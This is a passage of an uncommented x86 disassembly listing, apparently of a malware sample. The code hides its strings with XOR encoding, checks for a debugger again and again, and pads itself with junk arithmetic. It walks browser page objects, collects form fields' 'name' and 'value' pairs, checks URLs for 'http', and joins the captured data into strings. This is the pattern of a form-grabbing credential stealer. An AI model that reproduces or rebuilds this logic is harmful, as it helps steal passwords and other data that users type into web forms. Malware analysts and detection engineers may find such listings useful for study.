lea eax, ds:431C50h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_4], 0D2h
xor edi, edi
jmp short loc_406CE9
; ---------------------------------------------------------------------------
loc_406CCF: ; CODE XREF: sub_406CA2+49j
mov eax, dword_4423AC
add eax, edi
lea eax, ds:431C50h[eax]
movsx edx, byte ptr [eax]
xor edx, 0FDh
mov [eax], dl
inc edi
loc_406CE9: ; CODE XREF: sub_406CA2+2Bj
cmp edi, esi
jl short loc_406CCF
mov eax, dword_4423AC
add eax, esi
mov byte ptr dword_431C50[eax], 0
mov edi, dword_4423AC
add dword_4423AC, 3
mov eax, dword_4423AC
inc eax
add eax, esi
mov dword_4423AC, eax
cmp eax, 0DC5h
jle short loc_406D24
and dword_4423AC, 0
loc_406D24: ; CODE XREF: sub_406CA2+79j
lea eax, dword_431C50[edi]
pop edi
pop esi
leave
retn
sub_406CA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D2E proc near ; CODE XREF: StartAddress+69p
var_6381D = byte ptr -6381Dh
var_6381C = byte ptr -6381Ch
var_63816 = word ptr -63816h
var_63814 = dword ptr -63814h
var_6380F = byte ptr -6380Fh
var_62810 = dword ptr -62810h
var_6280C = dword ptr -6280Ch
var_62808 = word ptr -62808h
var_62806 = word ptr -62806h
var_62804 = dword ptr -62804h
var_62800 = word ptr -62800h
var_627F8 = dword ptr -627F8h
var_627F0 = word ptr -627F0h
var_627E8 = dword ptr -627E8h
var_627E0 = dword ptr -627E0h
var_627DC = dword ptr -627DCh
var_627D8 = dword ptr -627D8h
var_627D4 = byte ptr -627D4h
var_627D3 = byte ptr -627D3h
var_627CC = word ptr -627CCh
var_627CA = byte ptr -627CAh
var_627C4 = byte ptr -627C4h
var_627BF = byte ptr -627BFh
var_627BC = word ptr -627BCh
var_627BA = byte ptr -627BAh
var_627B9 = byte ptr -627B9h
var_627B8 = dword ptr -627B8h
Source = byte ptr -627B3h
var_626B4 = dword ptr -626B4h
var_626B0 = dword ptr -626B0h
var_626AC = dword ptr -626ACh
var_626A8 = word ptr -626A8h
var_626A0 = dword ptr -626A0h
var_62694 = dword ptr -62694h
var_62690 = dword ptr -62690h
var_6268C = dword ptr -6268Ch
var_62688 = dword ptr -62688h
var_62684 = dword ptr -62684h
var_62680 = dword ptr -62680h
var_6267C = dword ptr -6267Ch
MultiByteStr = byte ptr -62677h
var_62674 = dword ptr -62674h
var_6266D = byte ptr -6266Dh
var_5269E = byte ptr -5269Eh
var_5269A = word ptr -5269Ah
var_52698 = dword ptr -52698h
var_52694 = dword ptr -52694h
var_52690 = byte ptr -52690h
var_52688 = dword ptr -52688h
var_52680 = word ptr -52680h
var_52678 = dword ptr -52678h
var_52674 = dword ptr -52674h
var_5266F = byte ptr -5266Fh
var_5266E = byte ptr -5266Eh
var_5266D = byte ptr -5266Dh
var_52667 = dword ptr -52667h
var_52663 = byte ptr -52663h
var_5265D = byte ptr -5265Dh
var_52657 = byte ptr -52657h
var_52656 = byte ptr -52656h
var_52653 = byte ptr -52653h
var_5264E = dword ptr -5264Eh
var_52649 = byte ptr -52649h
var_52644 = dword ptr -52644h
var_52640 = dword ptr -52640h
lpWideCharStr = dword ptr -5263Ch
ppv = dword ptr -52638h
var_5262D = byte ptr -5262Dh
var_5262C = dword ptr -5262Ch
var_52626 = word ptr -52626h
var_52624 = word ptr -52624h
var_52622 = word ptr -52622h
var_5261F = byte ptr -5261Fh
var_5261E = byte ptr -5261Eh
var_5261D = byte ptr -5261Dh
var_5261C = dword ptr -5261Ch
var_52618 = dword ptr -52618h
var_52614 = dword ptr -52614h
var_52610 = dword ptr -52610h
var_52609 = byte ptr -52609h
var_52608 = dword ptr -52608h
var_52604 = dword ptr -52604h
var_525FE = word ptr -525FEh
var_525FC = dword ptr -525FCh
var_525F6 = word ptr -525F6h
var_525F4 = dword ptr -525F4h
var_525EE = word ptr -525EEh
var_525EC = dword ptr -525ECh
var_525E8 = dword ptr -525E8h
var_525E4 = dword ptr -525E4h
var_525DF = byte ptr -525DFh
var_524E0 = byte ptr -524E0h
var_524D8 = dword ptr -524D8h
var_524CC = dword ptr -524CCh
var_524C8 = byte ptr -524C8h
var_39E28 = byte ptr -39E28h
var_21788 = word ptr -21788h
var_21786 = word ptr -21786h
var_21784 = dword ptr -21784h
var_2177D = byte ptr -2177Dh
var_1177E = word ptr -1177Eh
var_1177C = word ptr -1177Ch
var_10FAC = dword ptr -10FACh
var_10FA8 = dword ptr -10FA8h
var_10FA4 = dword ptr -10FA4h
Dest = byte ptr -10001h
var_2 = word ptr -2
push ebp
mov ebp, esp
mov eax, 63820h
call sub_40C6B8
push ebx
push esi
push edi
mov [ebp+var_525F6], 7310h
movzx eax, [ebp+var_525F6]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_525F6], ax
push offset psz ; "value"
call SysAllocString
mov [ebp+var_10FA8], eax
push offset aName ; "name"
call SysAllocString
mov [ebp+var_10FAC], eax
lea eax, [ebp+ppv]
push eax ; ppv
call sub_40696D
pop ecx
or eax, eax
jz loc_407E44
call GetLastError
loc_406D95: ; CODE XREF: sub_406D2E+9Aj
; sub_406D2E+CBj ...
push 0 ; Duration
call _sleep ; _sleep
call IsDebuggerPresent ; IsDebuggerPresent
call GetForegroundWindow ; GetForegroundWindow
mov [ebp+var_52614], eax
push eax ; hWnd
lea eax, [ebp+ppv]
push eax ; int
call sub_406A40
add esp, 0Ch
call GetTickCount ; GetTickCount
cmp dword_442370, 0
jz short loc_406D95
mov [ebp+var_52618], 4FCAh
sub [ebp+var_52618], 3B66h
lea eax, [ebp+var_525F4]
push eax
mov eax, dword_442370
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
call IsDebuggerPresent ; IsDebuggerPresent
or ebx, ebx
jnz short loc_406D95
lea eax, [ebp+var_525FC]
push eax
push offset loc_447ACC
mov eax, [ebp+var_525F4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov [ebp+var_5261C], 7776h
add [ebp+var_5261C], 6412h
or ebx, ebx
jnz loc_407E25
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+lpWideCharStr]
push eax
mov eax, dword_442370
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov [ebp+var_5261D], 4
add [ebp+var_5261D], 1
or ebx, ebx
jnz loc_407E02
push offset MultiByteStr ; lpMultiByteStr
push [ebp+lpWideCharStr] ; lpWideCharStr
call sub_4068C1
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_52644], edi
mov eax, [ebp+var_52614]
mov dword_42FB14, eax
lea eax, [ebp+var_525FE]
push eax
mov eax, dword_442370
push eax
mov edi, [eax]
call dword ptr [edi+7Ch]
mov ebx, eax
mov [ebp+var_5261E], 74h
add [ebp+var_5261E], 1
or ebx, ebx
jnz loc_407E02
cmp [ebp+var_525FE], 0
jnz loc_407E02
lea edi, [ebp+var_52649]
lea esi, word_4423B6
mov ecx, 5
rep movsb
mov eax, dword_4423BB
mov [ebp+var_5264E+1], eax
mov [ebp+Dest], 0
mov [ebp+var_2], 0
lea eax, [ebp+var_52604]
push eax
mov eax, [ebp+var_525FC]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov [ebp+var_5261F], 10h
movzx eax, [ebp+var_5261F]
imul eax, 7B1Bh
mov [ebp+var_5261F], al
or ebx, ebx
jnz loc_407E02
lea edi, [ebp+var_52653]
lea esi, byte_4423BF
mov ecx, 3
rep movsw
lea eax, [ebp+var_52640]
push eax
mov eax, [ebp+var_52604]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
call GetTickCount ; GetTickCount
or ebx, ebx
jnz loc_407DED
call IsDebuggerPresent ; IsDebuggerPresent
or [ebp+var_524CC], 0FFFFFFFFh
loc_406F67: ; CODE XREF: sub_406D2E+B83j
mov [ebp+var_52622], 1C5h
add [ebp+var_52622], 47D9h
and [ebp+var_52608], 0
and [ebp+var_52610], 0
cmp [ebp+var_524CC], 0FFFFFFFFh
jnz short loc_406FD3
call GetLastError
lea eax, [ebp+var_525E4]
push eax
mov eax, [ebp+var_525FC]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
lea edi, [ebp+var_52678+1]
lea esi, byte_4423C5
movsd
movsd
or ebx, ebx
jnz loc_40789F
mov [ebp+var_5266F], 40h
add [ebp+var_5266F], 3Ch
jmp loc_407112
; ---------------------------------------------------------------------------
loc_406FD3: ; CODE XREF: sub_406D2E+260j
call GetCurrentProcessId ; GetCurrentProcessId
mov [ebp+var_52680], 17h
mov eax, [ebp+var_524CC]
mov [ebp+var_52678], eax
lea eax, [ebp+var_52690]
push eax
lea eax, [ebp+var_52680]
push eax
mov eax, [ebp+var_52604]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
call GetVersion ; GetVersion
lea eax, [ebp+var_52608]
push eax
push (offset loc_447AF8+4)
mov eax, [ebp+var_52688]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_4423CD
mov [ebp+var_52694], eax
or ebx, ebx
jnz loc_40789F
mov [ebp+var_5266F], 2Eh
movzx eax, [ebp+var_5266F]
imul eax, 392Ch
mov [ebp+var_5266F], al
lea eax, [ebp+var_52610]
push eax
mov eax, [ebp+var_52608]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
call GetLastError
or ebx, ebx
jz short loc_4070AB
call GetProcessHeap ; GetProcessHeap
mov eax, [ebp+var_52608]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov [ebp+var_5269A], 1EB8h
movzx eax, [ebp+var_5269A]
imul eax, 4A7Ch
mov [ebp+var_5269A], ax
jmp loc_40789F
; ---------------------------------------------------------------------------
loc_4070AB: ; CODE XREF: sub_406D2E+348j
lea eax, [ebp+var_525E4]
push eax
mov eax, [ebp+var_52610]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_4423D1
mov [ebp+var_52698], eax
or ebx, ebx
jz short loc_407112
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, [ebp+var_52610]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov byte ptr [ebp+var_5269A+1], 67h
sub byte ptr [ebp+var_5269A+1], 4Ah
mov eax, [ebp+var_52608]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea edi, [ebp+var_5269E]
lea esi, a4yk3 ; "4Yk3"
mov ecx, 5
rep movsb
jmp loc_40789F
; ---------------------------------------------------------------------------
loc_407112: ; CODE XREF: sub_406D2E+2A0j
; sub_406D2E+39Fj
lea eax, [ebp+var_525EC]
push eax
mov eax, [ebp+var_525E4]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
call GetLastError
or ebx, ebx
jnz loc_407D88
mov [ebp+var_52609], 0Ah
movzx eax, [ebp+var_52609]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_52609], al
and [ebp+var_21784], 0
jmp loc_40788D
; ---------------------------------------------------------------------------
loc_40715A: ; CODE XREF: sub_406D2E+B6Bj
call GetCurrentThreadId ; GetCurrentThreadId
push 0 ; Duration
call _sleep ; _sleep
pop ecx
call GetTickCount ; GetTickCount
mov [ebp+var_626A8], 2
mov eax, [ebp+var_21784]
mov [ebp+var_626A0], eax
lea eax, [ebp+var_62694]
push eax
lea esi, [ebp+var_626A8]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_626A8]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_525E4]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
lea edi, [ebp+var_627BF]
lea esi, aB ; "~"
mov ecx, 3
rep movsb
or ebx, ebx
jnz loc_407887
lea edi, [ebp+var_627C4]
lea esi, aZrsh ; "ZRSH"
mov ecx, 5
rep movsb
and [ebp+var_626AC], 0
lea eax, [ebp+var_626AC]
push eax
push (offset loc_447ADB+1)
mov eax, [ebp+var_62694]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov [ebp+var_626B0], 4352h
mov eax, [ebp+var_626B0]
mov edx, eax
add edx, eax
mov [ebp+var_626B0], edx
or ebx, ebx
jnz loc_407585
lea eax, [ebp+var_626B4]
push eax
mov eax, [ebp+var_626AC]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
lea edi, [ebp+var_627CA]
lea esi, aTxnve ; "TxN‚e"
mov ecx, 3
rep movsw
or ebx, ebx
jnz loc_407585
mov ax, word_4423E8
mov [ebp+var_627CC], ax
lea edi, [ebp+var_627D3]
lea esi, word_4423EA
mov ecx, 7
rep movsb
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push [ebp+var_626B4] ; lpWideCharStr
call sub_4068C1
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_6268C], edi
call GetLastError
and [ebp+var_52674], 0
jmp short loc_4072D8
; ---------------------------------------------------------------------------
loc_4072AF: ; CODE XREF: sub_406D2E+5B6j
mov eax, [ebp+var_52674]
mov al, [ebp+eax+MultiByteStr]
cmp al, 0Dh
jz short loc_4072C4
cmp al, 0Ah
jnz short loc_4072D2
loc_4072C4: ; CODE XREF: sub_406D2E+590j
mov eax, [ebp+var_52674]
mov [ebp+eax+MultiByteStr], 0
loc_4072D2: ; CODE XREF: sub_406D2E+594j
inc [ebp+var_52674]
loc_4072D8: ; CODE XREF: sub_406D2E+57Fj
mov eax, [ebp+var_6268C]
cmp [ebp+var_52674], eax
jb short loc_4072AF
call GetVersion ; GetVersion
cmp [ebp+var_524CC], 0FFFFFFFFh
jnz short loc_40733F
lea edi, [ebp+var_627DC+3]
lea esi, byte_4423F1
mov ecx, 3
rep movsw
push 11h ; Size
push offset aNPVE ; "Á°¼´³ºÐ»²¯°¢Ø¥ÃÝ"
call sub_406CA2
push [ebp+var_21784]
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call strcat ; strcat
add esp, 1Ch
jmp short loc_4073AB
; ---------------------------------------------------------------------------
loc_40733F: ; CODE XREF: sub_406D2E+5C4j
mov word ptr [ebp+var_627D8+2], 41D1h
add word ptr [ebp+var_627D8+2], 3FCCh
push 13h ; Size
push offset aPVEPVE ; "Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ"
call sub_406CA2
push [ebp+var_21784]
push [ebp+var_524CC]
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call strcat ; strcat
add esp, 20h
mov [ebp+var_627D4], 0C9h
movzx eax, [ebp+var_627D4]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_627D4], al
loc_4073AB: ; CODE XREF: sub_406D2E+60Fj
and [ebp+var_52674], 0
loc_4073B2: ; CODE XREF: sub_406D2E+731j
mov eax, [ebp+var_52674]
lea ecx, [ebp+eax+MultiByteStr]
or eax, 0FFFFFFFFh
loc_4073C2: ; CODE XREF: sub_406D2E+699j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4073C2
mov [ebp+var_62680], eax
cmp eax, 0
jz short loc_4073DB
cmp eax, 0C8h
jbe short loc_4073DD
loc_4073DB: ; CODE XREF: sub_406D2E+6A4j
jmp short loc_407446
; ---------------------------------------------------------------------------
loc_4073DD: ; CODE XREF: sub_406D2E+6ABj
cmp [ebp+var_62680], 1
jnz short loc_4073F6
mov eax, [ebp+var_52674]
cmp [ebp+eax+MultiByteStr], 20h
jz short loc_407446
loc_4073F6: ; CODE XREF: sub_406D2E+6B6j
call GetCurrentThreadId ; GetCurrentThreadId
push 1 ; Size
push offset byte_446ED4 ; Src
call sub_406CA2
push eax ; Source
lea edi, [ebp+Dest]
push edi ; Dest
call strcat ; strcat
call GetProcessHeap ; GetProcessHeap
mov eax, [ebp+var_52674]
lea eax, [ebp+eax+MultiByteStr]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call strcat ; strcat
add esp, 18h
mov [ebp+var_627B8], 60E9h
inc [ebp+var_627B8]
loc_407446: ; CODE XREF: sub_406D2E:loc_4073DBj
; sub_406D2E+6C6j
mov eax, [ebp+var_62680]
inc eax
add [ebp+var_52674], eax
mov eax, [ebp+var_6268C]
cmp [ebp+var_52674], eax
jb loc_4073B2
mov [ebp+var_627B9], 0B2h
movzx eax, [ebp+var_627B9]
imul eax, 2A9Dh
mov [ebp+var_627B9], al
and [ebp+var_62688], 0
lea ecx, [ebp+Dest]
or eax, 0FFFFFFFFh
loc_40748F: ; CODE XREF: sub_406D2E+766j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40748F
mov [ebp+var_62680], eax
mov [ebp+var_52674], 0
jmp loc_407565
; ---------------------------------------------------------------------------
loc_4074AB: ; CODE XREF: sub_406D2E+843j
mov word ptr [ebp+var_627D8+2], 6673h
movzx eax, word ptr [ebp+var_627D8+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+var_627D8+2], ax
mov eax, [ebp+var_52674]
cmp [ebp+eax+Dest], 20h
jz short loc_4074DF
and [ebp+var_6267C], 0
loc_4074DF: ; CODE XREF: sub_406D2E+7A8j
mov word ptr [ebp+var_627D8], 5E3Bh
add word ptr [ebp+var_627D8], 7D94h
cmp [ebp+var_6267C], 0
jnz short loc_407540
mov [ebp+var_627DC], 7B77h
mov eax, 51B3h
mul [ebp+var_627DC]
mov [ebp+var_627E0], eax
mov [ebp+var_627DC], eax
mov eax, [ebp+var_62688]
mov edx, [ebp+var_52674]
mov dl, [ebp+edx+Dest]
mov [ebp+eax+Dest], dl
call IsDebuggerPresent ; IsDebuggerPresent
inc [ebp+var_62688]
loc_407540: ; CODE XREF: sub_406D2E+7CAj
mov eax, [ebp+var_52674]
cmp [ebp+eax+Dest], 20h
jnz short loc_40755A
mov [ebp+var_6267C], 1
loc_40755A: ; CODE XREF: sub_406D2E+820j
call IsDebuggerPresent ; IsDebuggerPresent
inc [ebp+var_52674]
loc_407565: ; CODE XREF: sub_406D2E+778j
mov eax, [ebp+var_62680]
cmp [ebp+var_52674], eax
jb loc_4074AB
mov eax, [ebp+var_62688]
mov [ebp+eax+Dest], 0
loc_407585: ; CODE XREF: sub_406D2E+4FBj
; sub_406D2E+52Fj
and [ebp+var_62684], 0
lea eax, [ebp+var_62684]
push eax
push (offset loc_447AE8+4)
mov eax, [ebp+var_62694]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
call GetTickCount ; GetTickCount
or ebx, ebx
jnz loc_407855
call GetProcessHeap ; GetProcessHeap
lea eax, [ebp+var_62690]
push eax
mov eax, [ebp+var_62684]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
or ebx, ebx
jnz loc_407832
and [ebp+var_52678], 0
jmp loc_407819
; ---------------------------------------------------------------------------
loc_4075E5: ; CODE XREF: sub_406D2E+AF7j
call GetProcessHeap ; GetProcessHeap
push 0 ; Duration
call _sleep ; _sleep
pop ecx
mov [ebp+var_627F0], 2
mov eax, [ebp+var_52678]
mov [ebp+var_627E8], eax
lea eax, [ebp+var_627DC]
push eax
lea esi, [ebp+var_627F0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_627F0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_62684]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
or ebx, ebx
jnz loc_407813
call GetProcessHeap ; GetProcessHeap
and [ebp+var_627D8], 0
lea eax, [ebp+var_627D8]
push eax
push (offset loc_447ADB+1)
mov eax, [ebp+var_627DC]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
call GetLastError
or ebx, ebx
jnz loc_4077E1
mov [ebp+var_62804], 1DE4h
sub [ebp+var_62804], 0BA1h
cmp [ebp+var_627D8], 0
jz loc_4077E1
mov [ebp+var_62806], 1B0Fh
sub [ebp+var_62806], 4876h
lea eax, [ebp+var_62800]
push eax
push 0
push [ebp+var_10FA8]
mov eax, [ebp+var_627D8]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
call GetCurrentProcessId ; GetCurrentProcessId
or ebx, ebx
jnz loc_4077E1
mov eax, dword_4423F7
mov [ebp+var_62810], eax
cmp [ebp+var_62800], 8
jnz loc_4077E1
movzx edi, [ebp+var_2]
mov esi, [ebp+var_627D8]
mov [ebp+edi*4+var_10FA4], esi
movzx edi, [ebp+var_2]
mov esi, [ebp+var_52678]
mov [ebp+edi*2+var_1177C], si
lea eax, [ebp+var_62800]
push eax
push 0
push [ebp+var_10FAC]
mov eax, [ebp+var_627D8]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov [ebp+var_62808], 3C9Dh
movzx eax, [ebp+var_62808]
imul eax, 22A9h
mov [ebp+var_62808], ax
or ebx, ebx
jnz loc_4077DD
call GetLastError
mov ax, word_4423FB
mov [ebp+var_63816], ax
lea edi, [ebp+var_6381C]
lea esi, byte_4423FD
mov ecx, 3
rep movsw
lea eax, [ebp+var_6380F]
push eax ; lpMultiByteStr
push [ebp+var_627F8] ; lpWideCharStr
call sub_4068C1
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_63814], edi
call GetLastError
cmp [ebp+var_6380F], 0
jz short loc_4077CC
cmp edi, 64h
jnb short loc_4077CC
lea eax, [ebp+var_6380F]
push eax
movzx eax, [ebp+var_2]
imul eax, 64h
lea eax, [ebp+eax+var_39E28]
push eax
call sub_40C6D8
loc_4077CC: ; CODE XREF: sub_406D2E+A7Cj
; sub_406D2E+A81j
lea edi, [ebp+var_6381D]
lea esi, byte_442403
xor ecx, ecx
inc ecx
rep movsb
loc_4077DD: ; CODE XREF: sub_406D2E+A26j
inc [ebp+var_2]
loc_4077E1: ; CODE XREF: sub_406D2E+94Bj
; sub_406D2E+96Cj ...
cmp [ebp+var_627D8], 0
jz short $+2
mov [ebp+var_6280C], 346Bh
sub [ebp+var_6280C], 3A2Ah
cmp [ebp+var_627DC], 0
jz short loc_407813
mov eax, [ebp+var_627DC]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407813: ; CODE XREF: sub_406D2E+914j
; sub_406D2E+AD7j
inc [ebp+var_52678]
loc_407819: ; CODE XREF: sub_406D2E+8B2j
mov eax, [ebp+var_62690]
cmp [ebp+var_52678], eax
jb loc_4075E5
jmp short loc_407887
; ---------------------------------------------------------------------------
call GetCurrentProcessId ; GetCurrentProcessId
loc_407832: ; CODE XREF: sub_406D2E+8A5j
cmp [ebp+var_62684], 0
jz short loc_407847
mov eax, [ebp+var_62684]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407847: ; CODE XREF: sub_406D2E+B0Bj
mov [ebp+var_627BA], 0F2h
sub [ebp+var_627BA], 5Dh
loc_407855: ; CODE XREF: sub_406D2E+883j
cmp [ebp+var_62694], 0
jz short loc_40786A
mov eax, [ebp+var_62694]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_40786A: ; CODE XREF: sub_406D2E+B2Ej
mov [ebp+var_627BC], 143Bh
movzx eax, [ebp+var_627BC]
imul eax, 22Eh
mov [ebp+var_627BC], ax
loc_407887: ; CODE XREF: sub_406D2E+4A1j
; sub_406D2E+AFDj
inc [ebp+var_21784]
loc_40788D: ; CODE XREF: sub_406D2E+427j
mov eax, [ebp+var_525EC]
cmp [ebp+var_21784], eax
jb loc_40715A
loc_40789F: ; CODE XREF: sub_406D2E+28Cj
; sub_406D2E+309j ...
inc [ebp+var_524CC]
mov eax, [ebp+var_52640]
cmp [ebp+var_524CC], eax
jl loc_406F67
lea edi, [ebp+var_52656]
lea esi, byte_442404
mov ecx, 3
rep movsb
loc_4078CA: ; CODE XREF: sub_406D2E+D09j
push 0 ; Duration
call _sleep ; _sleep
pop ecx
call GetTickCount ; GetTickCount
mov [ebp+var_21786], 0
jmp loc_4079DF
; ---------------------------------------------------------------------------
loc_4078E5: ; CODE XREF: sub_406D2E+CBEj
mov [ebp+var_62674], 78C0h
sub [ebp+var_62674], 6288h
lea eax, [ebp+var_524E0]
push eax
push 0
push [ebp+var_10FA8]
movzx edi, [ebp+var_21786]
mov edi, [ebp+edi*4+var_10FA4]
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
mov dword ptr [ebp-62678h], 2EABh
mov eax, 693Bh
mul dword ptr [ebp-62678h]
mov [ebp+var_62690], eax
mov [ebp-62678h], eax
or ebx, ebx
jnz loc_4079D8
lea edi, [ebp+var_62688+3]
lea esi, byte_442407
xor ecx, ecx
inc ecx
rep movsb
mov eax, dword_442408
mov [ebp+var_6268C+3], eax
lea eax, [ebp+var_6266D]
push eax ; lpMultiByteStr
push [ebp+var_524D8] ; lpWideCharStr
call sub_4068C1
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_62684], edi
mov [ebp+var_6267C], 17FCh
inc [ebp+var_6267C]
cmp [ebp+var_6266D], 0
jz short loc_4079D8
mov word ptr [ebp+var_62680+2], 2AD9h
sub word ptr [ebp+var_62680+2], 258Eh
cmp [ebp+var_62684], 64h
jnb short loc_4079D3
lea eax, [ebp+var_6266D]
push eax
movzx eax, [ebp+var_21786]
imul eax, 64h
lea eax, [ebp+eax+var_524C8]
push eax
call sub_40C6D8
loc_4079D3: ; CODE XREF: sub_406D2E+C85j
call GetTickCount ; GetTickCount
loc_4079D8: ; CODE XREF: sub_406D2E+C13j
; sub_406D2E+C6Aj
inc [ebp+var_21786]
loc_4079DF: ; CODE XREF: sub_406D2E+BB2j
movzx eax, [ebp+var_21786]
movzx edx, [ebp+var_2]
cmp eax, edx
jl loc_4078E5
lea eax, [ebp+var_525FE]
push eax
mov eax, dword_442370
push eax
mov edi, [eax]
call dword ptr [edi+7Ch]
mov ebx, eax
mov [ebp+var_52624], 370Ah
inc [ebp+var_52624]
or ebx, ebx
jnz loc_407E02
lea edi, [ebp+var_52657]
lea esi, byte_44240C
xor ecx, ecx
inc ecx
rep movsb
cmp [ebp+var_525FE], 0
jz loc_4078CA
call GetCurrentProcessId ; GetCurrentProcessId
lea edi, [ebp+var_5265D]
lea esi, a1o8qz ; "1o8QZ"
mov ecx, 3
rep movsw
mov [ebp+var_2177D], 0
push offset MultiByteStr
lea eax, [ebp+var_2177D]
push eax
call sub_40C6D8
mov [ebp+var_525E8], 1
mov [ebp+var_1177E], 0
jmp loc_407B63
; ---------------------------------------------------------------------------
loc_407A86: ; CODE XREF: sub_406D2E+E42j
call GetTickCount ; GetTickCount
movzx eax, [ebp+var_1177E]
imul eax, 64h
cmp [ebp+eax+var_524C8], 0
jz loc_407B5C
call GetCurrentProcessId ; GetCurrentProcessId
and [ebp+var_525E8], 0
push 4 ; Size
push offset byte_446ECF ; Src
call sub_406CA2
movzx edi, [ebp+var_1177E]
push edi
push eax ; Format
lea edi, [ebp+var_525DF]
push edi ; Dest
call sprintf ; sprintf
lea eax, [ebp+var_525DF]
push eax ; Source
lea eax, [ebp+var_2177D]
push eax ; Dest
call strcat ; strcat
lea edi, [ebp+var_52674]
lea esi, aKbX0 ; "k*x0"
mov ecx, 3
rep movsw
movzx eax, [ebp+var_1177E]
imul eax, 64h
lea eax, [ebp+eax+var_39E28]
push eax ; Source
lea eax, [ebp+var_2177D]
push eax ; Dest
call strcat ; strcat
push 1 ; Size
push offset byte_446ECD ; Src
call sub_406CA2
push eax ; Source
lea edi, [ebp+var_2177D]
push edi ; Dest
call strcat ; strcat
mov ax, word_442419
mov word ptr [ebp+var_52678+2], ax
movzx eax, [ebp+var_1177E]
imul eax, 64h
lea eax, [ebp+eax+var_524C8]
push eax ; Source
lea eax, [ebp+var_2177D]
push eax ; Dest
call strcat ; strcat
add esp, 3Ch
loc_407B5C: ; CODE XREF: sub_406D2E+D6Fj
inc [ebp+var_1177E]
loc_407B63: ; CODE XREF: sub_406D2E+D53j
movzx eax, [ebp+var_1177E]
movzx edx, [ebp+var_2]
cmp eax, edx
jl loc_407A86
cmp [ebp+var_525E8], 0
jnz loc_407D88
lea edi, [ebp+var_52663]
lea esi, byte_44241B
mov ecx, 3
rep movsw
push 1 ; Size
push offset byte_446ECB ; Src
call sub_406CA2
push eax ; Source
lea edi, [ebp+var_2177D]
push edi ; Dest
call strcat ; strcat
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+Dest]
push eax ; Source
lea eax, [ebp+var_2177D]
push eax ; Dest
call strcat ; strcat
add esp, 18h
mov eax, dword_442421
mov [ebp+var_52667], eax
cmp MultiByteStr, 68h
jnz short loc_407BFA
cmp byte_41FB11, 74h
jnz short loc_407BFA
cmp byte_41FB12, 74h
jnz short loc_407BFA
cmp byte_41FB13, 70h
jz short loc_407BFF
loc_407BFA: ; CODE XREF: sub_406D2E+EAFj
; sub_406D2E+EB8j ...
jmp loc_407D3D
; ---------------------------------------------------------------------------
loc_407BFF: ; CODE XREF: sub_406D2E+ECAj
call GetVersion ; GetVersion
push 8 ; Size
push offset word_446EC2 ; Src
call sub_406CA2
mov edi, 9
sub edi, dword_4423A4
push edi
push eax
push offset MultiByteStr
call sub_40181A
add esp, 14h
cmp eax, 0FFFFh
jz short loc_407C62
push 0Eh ; Size
push offset byte_446EB3 ; Src
call sub_406CA2
mov edi, 9
sub edi, dword_4423A4
push edi
push eax
push offset MultiByteStr
call sub_40181A
add esp, 14h
cmp eax, 0FFFFh
jz loc_407D3D
